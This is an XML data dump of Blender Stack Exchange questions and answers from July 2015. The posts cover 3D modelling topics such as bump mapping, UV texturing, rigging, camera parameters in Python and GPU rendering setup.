  <row Id="33676" PostTypeId="2" ParentId="33675" CreationDate="2015-07-09T15:13:13.513" Score="4" Body="&lt;p&gt;In my experience I have found prefered origin placement. Dependant on desired result and/or alignment on a per-piece basis. However as a basic default it's best to place the origin centered at the bottom. It's also good practice to keep the bottom aligned to 0 on your vertical axis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unsure about the Unreal Engine. But in Unity the Y axis is used for vertical instead of Z. As such in order to import properly I have found the mesh needs to be oriented with -Y as bottom &amp;amp; +Y as top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, likely most importantly, be sure to apply Rotation &amp;amp; Scale. ( &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; )&lt;/p&gt;&#xA;" OwnerUserId="15507" LastEditorUserId="15507" LastEditDate="2015-07-09T15:28:13.467" LastActivityDate="2015-07-09T15:28:13.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33677" PostTypeId="2" ParentId="33581" CreationDate="2015-07-09T15:20:51.937" Score="9" Body="&lt;h1&gt;Short Answer:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;It doesn't matter at all.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Long Answer:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Bump mapping doesn't really care whether the colour of a particular pixel is black or grey or white or even negative. What it does care about, is the &lt;strong&gt;relation between that pixel and the pixels surrounding it&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UOGCC.png&quot; alt=&quot;compare&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that matter is the &lt;strong&gt;difference between the values&lt;/strong&gt;. The two sets of pixels in the image above will give identical results, because the difference between black (0.0) and grey (0.5) is &lt;code&gt;0.5&lt;/code&gt;, and the difference between grey and white (1.0) is also &lt;code&gt;0.5&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As proof, here are two identical renders:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NdqCF.jpg&quot; alt=&quot;proof&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Why is it like this?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Under the hood, Blender is simply calculating the &lt;strong&gt;surface normal&lt;/strong&gt; for each pixel. A normal is simply the direction that point on the surface is facing, irregardless of its position.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; None of this is true for actual displacement, only bump mapping.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2015-07-09T15:20:51.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33678" PostTypeId="1" CreationDate="2015-07-09T15:27:07.803" Score="1" ViewCount="1480" Body="&lt;p&gt;I am trying to bake a texture for a mesh, a simple diffuse material with the wireframe on top of it. I'm trying to get the effect you can see here: &lt;a href=&quot;https://youtu.be/7dK1VVtja5c?t=9s&quot; rel=&quot;nofollow&quot;&gt;https://youtu.be/7dK1VVtja5c?t=9s&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to bake the entire texture for use in Unity. I tried Cycles+Freestyle, it works well, but Freestyle can't be baked as far as I know. I tried the wireframe modifier, but that means having a much more complex mesh, if the surface is flat I want a flat mesh there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I came back to Blender Internal, since I don't need any fancy light effect anyway. The wireframe material works great, but I couldn't find a way to bake it on top of the diffuse material...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;" OwnerUserId="15520" LastActivityDate="2015-11-06T19:17:32.077" Title="Blender Internal Bake Wireframe" Tags="&lt;blender-internal-render-engine&gt;&lt;texture-baking&gt;&lt;wireframe&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33679" PostTypeId="1" AcceptedAnswerId="33731" CreationDate="2015-07-09T15:40:26.363" Score="1" ViewCount="508" Body="&lt;p&gt;I need to find some parameter of the stereo camera.&#xA;In particular I need:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The distance of the near and far plane and where are them (for calculate the dimensions, the position of the vertices of the panel, etc.)&lt;/li&gt;&#xA;&lt;li&gt;Where exactly is the volume of the camera situated (the volume you can see if you enable the option in the 3D view generic properties)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The formula used to calculate this data in blender (who knows where the file with this formula is? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;cam = scene.camera&#xA;print(&quot;convergence_distance: %f&quot; %cam.data.stereo.convergence_distance)&#xA;print(&quot;convergence_mode: %r&quot; %cam.data.stereo.convergence_mode) &#xA;print(&quot;interocular_distance: %f&quot; %cam.data.stereo.interocular_distance) &#xA;print(&quot;pivot: %s&quot; %cam.data.stereo.pivot) &#xA;print(&quot;focal_length: %f&quot; %cam.data.lens)&#xA;print(&quot;gpu_dof.focal_length: %f&quot; %cam.data.gpu_dof.focal_length)&#xA;print(&quot;gpu_dof.focus_distance: %f&quot; %cam.data.gpu_dof.focus_distance)&#xA;print(&quot;gpu_dof.is_hq_supported: %s&quot; %cam.data.gpu_dof.is_hq_supported)&#xA;print(&quot;lens_unit: %s&quot; %cam.data.lens_unit)&#xA;print(&quot;sensor_width: %f&quot; %cam.data.sensor_width) &#xA;print(&quot;clip_end: %f&quot; %cam.data.clip_end) &#xA;print(&quot;rotation_euler: x = {0}, y = {1}, z = {2}&quot;.format(*cam.rotation_euler))&#xA;print(&quot;location: x = {0}, y = {1}, z = {2}&quot;.format(*cam.location)) &#xA;print(&quot;sensor_height: %f&quot; %cam.data.sensor_height) &#xA;print(&quot;sensor_width: %f&quot; %cam.data.sensor_width) &#xA;print(&quot;angle: %f&quot; %cam.data.angle) &#xA;print(&quot;angle_x: %f&quot; %cam.data.angle_x) &#xA;print(&quot;angle_y: %f&quot; %cam.data.angle_y) &#xA;print(&quot;cam.matrix_local&quot;)&#xA;print(cam.matrix_local)&#xA;print(&quot;cam.matrix_basis&quot;)&#xA;print(cam.matrix_basis)&#xA;print(&quot;cam.matrix_world&quot;)&#xA;print(cam.matrix_world)&#xA;print(&quot;cam.calc_matrix_camera(x=1, y=1, scale_x=1.0, scale_y=1.0)&quot;)&#xA;print(cam.calc_matrix_camera(x=1, y=1, scale_x=1.0, scale_y=1.0))**&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;with this code i have some camera parameters but i don't know how to find the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tips?&lt;/p&gt;&#xA;" OwnerUserId="15519" LastEditorUserId="29" LastEditDate="2015-07-09T21:11:02.173" LastActivityDate="2015-08-09T11:56:54.747" Title="How can I get a stereo cameras volume and parameters?" Tags="&lt;python&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33680" PostTypeId="2" ParentId="33678" CreationDate="2015-07-09T16:37:28.627" Score="2" Body="&lt;p&gt;You just can go into the UV editor and choose Export UV layout. This is a good texture for wireframe Objects. Just combine it with your diffuse map (Gimp) and you have your wireframe Texture.&lt;/p&gt;&#xA;" OwnerUserId="15497" LastActivityDate="2015-07-09T16:37:28.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33682" PostTypeId="2" ParentId="21278" CreationDate="2015-07-09T17:07:21.693" Score="7" Body="&lt;p&gt;Open a Properties Pane.&lt;br/&gt;&#xA;Scroll down until you see the &quot;Encoding&quot; dropdown tab.&lt;br/&gt;&#xA;You'll see Audio Codecs. If &quot;None&quot; is selected, there will be no audio.&lt;br/&gt;&#xA;Here is an example.&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/aUfqlxh.png&quot; alt=&quot;Blender example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jMDo6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jMDo6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15525" LastEditorUserId="2214" LastEditDate="2020-02-15T22:14:00.660" LastActivityDate="2020-02-15T22:14:00.660" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33683" PostTypeId="1" CreationDate="2015-07-09T17:43:46.310" Score="2" ViewCount="50" Body="&lt;p&gt;Whenever I do something (for example use the mouse wheel to zoom in or out) I need to press another key for my initial action to be recorded and updated. It is really frustrating and I can not work like this, being an absolute beginner with 3D modeling and animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="15527" LastEditorUserId="3078" LastEditDate="2015-12-06T23:16:49.657" LastActivityDate="2015-12-06T23:16:49.657" Title="Why does Blender not update the screen properly, despite not lagging?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33684" PostTypeId="1" CreationDate="2015-07-09T17:44:23.917" Score="1" ViewCount="95" Body="&lt;p&gt;Is it true that the armature/bone structure really only depends on the Head of a bone, in particular with regards to rigging/skinning a model?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using niftools to import models into Blender, but several of the bones are pointing in the wrong direction. The location/rotation of the head of the bone is fine, it's just the tail is positioned incorrectly. However, when the model is used in-game (Morrowind), everything appears to be functioning properly.&lt;/p&gt;&#xA;" OwnerUserId="15528" LastActivityDate="2016-11-02T09:04:55.310" Title="True relationship between bones/armature and rigginh" Tags="&lt;modeling&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33685" PostTypeId="2" ParentId="33580" CreationDate="2015-07-09T18:11:29.100" Score="2" Body="&lt;p&gt;I found the solution. It is a bug in Blender and it does not accept (0,0,0) as angular velocity. It should be a small number instead of 0 for example (0.00001, 0.00001, 0.00001)&lt;/p&gt;&#xA;" OwnerUserId="14810" LastActivityDate="2015-07-09T18:11:29.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33686" PostTypeId="2" ParentId="33640" CreationDate="2015-07-09T18:18:48.763" Score="1" Body="&lt;p&gt;Clear parent relationship, select the mesh, edit mode, remove doubles 0,001, then parent again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M5wT4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems to work (i've tried with a brand new rigify generated armature)&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="13752" LastEditDate="2015-07-10T08:30:50.150" LastActivityDate="2015-07-10T08:30:50.150" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33687" PostTypeId="2" ParentId="33683" CreationDate="2015-07-09T18:21:01.223" Score="-1" Body="&lt;p&gt;My guess would be that you are looking for the &amp;quot;Release Confirms&amp;quot; option in the &amp;quot;Editing&amp;quot; tab of the &amp;quot;User Preferences&amp;quot; window.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MaPOq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="13901" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-09T18:21:01.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33688" PostTypeId="1" CreationDate="2015-07-09T18:28:29.133" Score="2" ViewCount="736" Body="&lt;p&gt;I'm struggling to manage the following setup. I have an Intel i5 with intergrated graphics which was driving successfully the OS GUI so far. I've added a GTX 580 which I would like to use it only for GPU rendering in Blender, in order to avoid having UI freezes while rendering .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed successfully to GPU render in 2.75 (Ubuntu 14.04.2 x64) but the single monitor I have is now connected to the GTX 580, instead of the onboard GPU it was connected so far. &#xA;When the i5 GPU drives the monitor, the NVidia drivers are disabled,even if they are installed along with CUDA 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first step is to connect the monitor back to the i5 GPU (via the appropriate setting BIOS) and leave the GTX idle,then setup the GTX for GPU in Blender system settings, but then how do I tell Blender to use the onboard graphics card for Blender UI only?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="15529" LastActivityDate="2015-07-09T18:28:29.133" Title="Two different GPUs, one for viewport the other CUDA one to be used exclusively for rendering" Tags="&lt;rendering&gt;&lt;gpu&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33689" PostTypeId="2" ParentId="33667" CreationDate="2015-07-09T18:41:35.387" Score="0" Body="&lt;p&gt;I'm not sure what &quot;distortion&quot; you are seeing. The screen shot is taken in perspective view, and looks exactly how I would expect it to look. I expect that if you press the &lt;kbd&gt;Numpad&lt;/kbd&gt; - &lt;kbd&gt;5&lt;/kbd&gt;, the apparent distortion will disappear.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-07-09T18:41:35.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33690" PostTypeId="2" ParentId="33684" CreationDate="2015-07-09T18:49:20.590" Score="1" Body="&lt;p&gt;Vertex movements are referred to the head bone, tail position is important only in case of automatic weighting or bone heat weighting, and - of course - in case of IK chain or other connected bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After weighting is done, if your bone isn't parent connected with another bone, you can freely move the tail in edit mode (i.e. to align axes with world axes) without affecting the behaviour of the rig.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-07-09T18:49:20.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33691" PostTypeId="1" CreationDate="2015-07-09T18:52:25.707" Score="1" ViewCount="1091" Body="&lt;p&gt;I've a couple of tutorials about CubeMaps but all they show is how to render the 6 pictures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I already have these 6 pictures. Is there a way to create an environment map with these 6 pictures?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, a way to create it with Python.&lt;/p&gt;&#xA;" OwnerUserId="14949" LastActivityDate="2015-07-10T06:51:59.183" Title="create cubemap from 6 images (with python)" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33692" PostTypeId="1" CreationDate="2015-07-09T19:11:41.297" Score="1" ViewCount="352" Body="&lt;p&gt;I am new to blender and I'm basically trying to produce a network of bifurcating pipes with different geometry profiles using Y-pipe joints. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I change the geometry it only seems to be capable of changing the whole Y-joint. I need to define/modify the cylinders' geometry (radius and length) for each individual cylinders. Is there a good way of doing this? Also, is there a clever way of joining each Y-pipe joints to create the pipe network? My approach so far was to manually make each pipes to match and then remove doubles, but sometimes it's hard to put them all together and the edges/circles overlap. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. I'm using blender 2.75 on mac&lt;/p&gt;&#xA;" OwnerUserId="15531" LastActivityDate="2016-04-05T09:20:18.860" Title="Pipe joint addon: changing individual cylinder's geometry (radius, length)" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33693" PostTypeId="1" CreationDate="2015-07-09T20:26:04.053" Score="1" ViewCount="1566" Body="&lt;p&gt;I'm running Blender on windows. Recently I tried to use GPU rendering with my AMD R9 290, but upon rendering, I get an error reading &quot;OpenCL build failed: error in console.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile, in the console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Device init success&#xA;Compiling OpenCL kernel ...&#xA;Build flags:&#xA;OpenCL kernel build output:&#xA;Error:E013:Insufficient Private Resources&#xA;&#xA;OpenCL build failed: errors in console&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CPU rendering works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Windows 8. Driver version is Catalyst 14.4.&lt;/p&gt;&#xA;" OwnerUserId="15533" LastEditorUserId="15533" LastEditDate="2015-07-09T20:34:57.527" LastActivityDate="2015-07-10T15:55:19.633" Title="OpenCL build failed on AMD R9 290 - Insufficient Private Resources" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;&lt;opencl&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="33694" PostTypeId="1" AcceptedAnswerId="33705" CreationDate="2015-07-09T20:39:51.973" Score="2" ViewCount="1035" Body="&lt;p&gt;I recently found two workflows for texturing, painting directly on the model and painting over a 2d texture file. In what situations are you supposed to use which? I have noticed that it is hard to texture seamlessly with PS when there is a cylinder with a wood texture. In this case it feels like texture painting is the way to go. Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is texture painting the newer way of doing things? And 2d texturing is outdated?&lt;/p&gt;&#xA;" OwnerUserId="15534" LastActivityDate="2020-11-29T11:48:49.257" Title="When to texture paint to paint on Mesh and when to use Photoshop to paint on 2D Texture" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33695" PostTypeId="1" CreationDate="2015-07-09T20:48:25.793" Score="1" ViewCount="351" Body="&lt;p&gt;I'm a beginner in Blender - i have a problem with mysterious shades in flat surface. Model comes from SketchUp (exported to OBJ / imported to Blender).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Model is composed of blocks, shades are near block's edges (but only on some of them). My idea was Sketchup model have some smooth edges, but it haven't...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what is the problem??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ei8Ef.png&quot; alt=&quot;Blender material shading | rendered shading (uncomplete) | SketchUp model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&#xA;full resolution preview: &lt;a href=&quot;http://lukex.name/temp/preview.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://lukex.name/temp/preview.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15532" LastActivityDate="2015-08-14T15:16:04.567" Title="Shadows in plain surface" Tags="&lt;modeling&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33696" PostTypeId="1" AcceptedAnswerId="33699" CreationDate="2015-07-09T20:52:07.503" Score="3" ViewCount="4902" Body="&lt;p&gt;Is there a way to resize the texture when using an image texture in the world section?&lt;br&gt;&#xA;I have a texture that surrounds the scene (like a panorama).&#xA;It seems you can use it at a fixed size and rotation, with no way to tile or scale the texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might maybe be possible to do this with nodes, but I could not find a way how to do this. &lt;/p&gt;&#xA;" OwnerUserId="15535" LastEditorUserId="599" LastEditDate="2015-07-09T21:05:46.303" LastActivityDate="2015-07-09T22:19:45.273" Title="How to scale an environment texture in the world section?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;nodes&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33697" PostTypeId="2" ParentId="30398" CreationDate="2015-07-09T21:17:26.880" Score="2" Body="&lt;p&gt;I am looking into it myself atm.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;some_value = FloatProperty(default=1.0, update=onupdate)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then I have a function that handles the update&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def onupdate(self, context):&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it's important that the function handling has self &amp;amp; context as arguments, and returns none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bpy.props.html?highlight=bpy.props#bpy.props.FloatProperty&quot; rel=&quot;nofollow&quot;&gt;You can read more here.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="755" LastActivityDate="2015-07-09T21:17:26.880" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33698" PostTypeId="1" AcceptedAnswerId="33703" CreationDate="2015-07-09T21:35:17.897" Score="0" ViewCount="616" Body="&lt;p&gt;I've got a low poly character on Blender. I modelled it, unwrapped it and textured it with a Mirror modifier on, so that modelling and texturing was symmetrical.&#xA;However, when I render it, a some of the vertices just... move, without percievable cause. This deforms the mesh, interrupts symmetry and noticeably displaces the texture, albeit only slightly. It is most noticeable in the face, whereby the eyeball on one side of the face begins to clip through the eyelid, whereas the other remains fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is only observable when the mesh is rendered; it otherwise appears fine. When I switch between any regular viewport and a rendered viewport, I can see these particular vertices move away from their original, mirrored positions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first inspection, no part of the model is influenced by errant keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any assistance greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I'm not sure how to upload a .blend just yet; I am working on it.&#xA;Here are some before and after shots that hopefully demonstrate what I mean a little better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2: Here is a copy of the .blend file for your perusal. This iteration does not include the texture. The issue is observable when switching between rendered and non-rendered views of the mesh.&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/328/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ALee - Zombo Man&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The before screenshot: Note the eye and general facial symmetry.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gi8pc.png&quot; alt=&quot;The before screenshot: Note the eye and general facial symmetry.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I hit render: The eye on our right has begun to clip through the eyelid. The area of the texture representing the jowls/dental sphere has also changed. I have deduced that the cheekbone/zygomatic arch has changed due to aforementioned vertex movement. The texture around the neck is also seeing deformation due to vertex movement.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xcHNU.png&quot; alt=&quot;After I hit render: The eye on our right has begun to clip through the eyelid. The area of the texture representing the jowls/dental sphere has also changed. I have deduced that the cheekbone/zygomatic arch has changed due to aforementioned vertex movement. The texture around the neck is also seeing deformation due to vertex movement.&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user15537" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-10T01:04:02.207" Title="Mirrored mesh deforms unexpectedly and becomes uneven when rendered" Tags="&lt;modeling&gt;&lt;rendering&gt;&lt;mesh&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33699" PostTypeId="2" ParentId="33696" CreationDate="2015-07-09T22:19:45.273" Score="2" Body="&lt;p&gt;Assuming you have a panoramic background that surrounds the entire scene like you say, then scaling it doesn't really make sense. What you probably want to do instead is move the camera farther back and increase the &lt;em&gt;Focal Length&lt;/em&gt; in &lt;em&gt;Camera Settings &gt; Lens&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/DigitalTemptingKite&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/DigitalTemptingKite.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For rotation, see &lt;a href=&quot;https://blender.stackexchange.com/questions/33161/rendered-environment-map-is-misaligned-to-world?lq=1&quot;&gt;Rendered environment map is misaligned to World&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-07-09T22:19:45.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33700" PostTypeId="1" CreationDate="2015-07-09T22:28:57.980" Score="0" ViewCount="1799" Body="&lt;p&gt;I have started making this map as you can see below with the help of this team. I have made some textured images to use for the 'room' that I have made with CrazyBump. Now I tried to import the image as a plane. However that stretches the image out and is not what I am looking for. What I would like to do is be able to select individual subdivisions or boxes if you will and be able to say put this image on this box or that box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you all recommend I go about doing this. I am interested in knowing some different approaches so I can look into the different options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a hardwood flooring model I made that I would like to insert in the recessed parts of the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PGh10.png&quot; alt=&quot;Room&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a new project for a test bed. Added a plane, increased scale by 8 and then subdivided by 15. Next split the screen and made the new side UV/image editor. Next I went back to the original side and right click a box, then pressed B key and dragged over a random group of boxes. Next pressed U &gt;&gt; unwrap and then U &gt;&gt; smartUV project.  On new screen clicked image &gt;&gt; open image &gt;&gt; floor image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the whole thing goes pink at this point. Not sure why, even though the UV side of things is okay. Now I scaled the image out and then added the same texture from the material tab to the texture tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what I am left with is what I am talking about the brownish area around the textured squares I chose&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZLhbJ.png&quot; alt=&quot;Hardwoodflooring&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a side note, what books would be recommended to teach you how to use different function of blender.&lt;/p&gt;&#xA;" OwnerUserId="15504" LastEditorDisplayName="user1853" LastEditDate="2016-02-06T05:49:04.070" LastActivityDate="2017-10-28T09:20:38.423" Title="How do you recommend I overlay textures on object 'Faces'" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33701" PostTypeId="2" ParentId="33640" CreationDate="2015-07-09T23:23:22.547" Score="0" Body="&lt;p&gt;The problem was the scale of the model. For whatever reason auto weights needed my model to be bigger.I scaled it up then applied it.&lt;/p&gt;&#xA;" OwnerUserId="13042" LastActivityDate="2015-07-09T23:23:22.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33702" PostTypeId="2" ParentId="33700" CreationDate="2015-07-10T00:31:17.297" Score="1" Body="&lt;p&gt;First of all, import images as planes creates a new mesh, dimension as the image of your choice, unwrapped and with the texture applied: it's not what you're looking for, you want to apply a texture to your already prepared mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many approach to this task:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case I would go like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Numpad 7 and toggle 5 to get orthographic top view,&#xA;select all horizontal faces,  U to unwrap, project from view, rename the UV map as something like &quot;UV Top view&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then H for hiding already unwrapped faces (Alt H to return to whole mesh)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Numpad 1 to front ortographic view, select vertical and visible faces, create new UV map (plus sign), rename it as &quot;UV front view&quot;,  U to unwrap, project from view, and so on .....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then choose different UV maps for every part of the mesh when texturing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The concept is to create different UV maps mapping useful portion of your mesh in the most useful way. It's good to have a single UV map only if you want a seamless texture over the whole mesh, but I think you're not going to use the same texture on walls, floors and ceilings!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we can think about the floor as example of workflow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set a new material for floor, set your images textures (even with bump, spec, ...) select all floor faces, in the UV editor window select all and S - scale the &quot;top view&quot; UV map as desired scale (i'm assuming everything is tileable); in the Image editor you can use S X to scale the UV map along the horizontal axe, and S Y in the vertical one, to achieve the desired overall scale and minimum stretching of the texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to specify to all your textures the correct UV map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's more difficult to say in words than do it: experiment it with a simple mesh and a couple of textures.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="3401" LastEditDate="2015-07-11T00:44:33.790" LastActivityDate="2015-07-11T00:44:33.790" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
